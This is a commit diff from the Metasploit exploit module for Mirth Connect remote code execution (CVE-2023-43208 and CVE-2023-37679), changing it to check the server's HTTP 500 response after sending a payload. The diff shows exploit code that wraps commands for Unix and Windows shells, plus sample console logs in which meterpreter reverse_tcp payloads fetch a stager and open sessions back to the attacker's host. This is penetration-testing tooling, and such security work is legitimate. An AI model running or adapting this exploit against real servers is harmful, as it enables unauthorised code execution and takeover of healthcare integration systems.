Skip to content

Commit 577898d

Browse files
committed
Check the response when exploiting
1 parent b5de25a commit 577898d

File tree

2 files changed

+15
-4
lines changed

2 files changed

+15
-4
lines changed

documentation/modules/exploit/multi/http/mirth_connect_cve_2023_43208.md

+2
Original file line numberDiff line numberDiff line change
@@ -57,6 +57,7 @@ msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > exploit
5757
[*] Detected target version: 4.1.1
5858
[+] The target appears to be vulnerable. Version 4.1.1 is affected by CVE-2023-37679.
5959
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
60+
[+] The target appears to have executed the payload.
6061
[*] Client 192.168.159.128 requested /jvE_gjDKxuQo86-91TitNQ
6162
[*] Sending payload to 192.168.159.128 (curl/7.74.0)
6263
[*] Transmitting intermediate stager...(126 bytes)
@@ -97,6 +98,7 @@ msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run
9798
[*] Detected target version: 4.4.0
9899
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
99100
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
101+
[+] The target appears to have executed the payload.
100102
[*] Sending stage (201798 bytes) to 192.168.159.10
101103
[*] Meterpreter session 5 opened (192.168.159.128:4444 -> 192.168.159.10:60705) at 2024-01-26 17:10:20 -0500
102104

modules/exploits/multi/http/mirth_connect_cve_2023_43208.rb

+13-4
Original file line numberDiff line numberDiff line change
@@ -124,12 +124,20 @@ def exploit
124124
if target_version <= Rex::Version.new('4.3.0')
125125
# The CVE-2023-43208 gadget chain will also work here but use the old one to verify the original vulnerability
126126
# which did not implement the deny-list logic that was bypassed by the newer chain
127-
execute_command_cve_2023_37679(payload.encoded)
127+
res = execute_command_cve_2023_37679(payload.encoded)
128128
elsif target_version <= Rex::Version.new('4.4.0')
129-
execute_command_cve_2023_43208(payload.encoded)
129+
res = execute_command_cve_2023_43208(payload.encoded)
130130
else
131131
fail_with(Failure::NoTarget, "Version #{target_version} is not vulnerable.")
132132
end
133+
134+
if res.nil?
135+
fail_with(Failure::Unreachable, 'Failed to execute the payload.')
136+
elsif res.code != 500
137+
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload.')
138+
end
139+
140+
print_good('The target appears to have executed the payload.')
133141
end
134142

135143
def execute_command_cve_2023_37679(cmd, _opts = {})
@@ -164,13 +172,14 @@ def execute_command_cve_2023_37679(cmd, _opts = {})
164172
'data' => xml
165173
})
166174

167-
res&.code == 500
175+
res
168176
end
169177

170178
def execute_command_cve_2023_43208(cmd, _opts = {})
171179
if target['Platform'] == 'win'
172180
cmd = "cmd.exe /c \"#{cmd}\""
173181
else
182+
# see: https://codewhitesec.blogspot.com/2015/03/sh-or-getting-shell-environment-from.html
174183
cmd = "sh -c $@|sh . echo #{cmd}"
175184
end
176185

@@ -238,6 +247,6 @@ def execute_command_cve_2023_43208(cmd, _opts = {})
238247
'data' => xml
239248
})
240249

241-
res&.code == 500
250+
res
242251
end
243252
end

0 commit comments

Comments
 (0)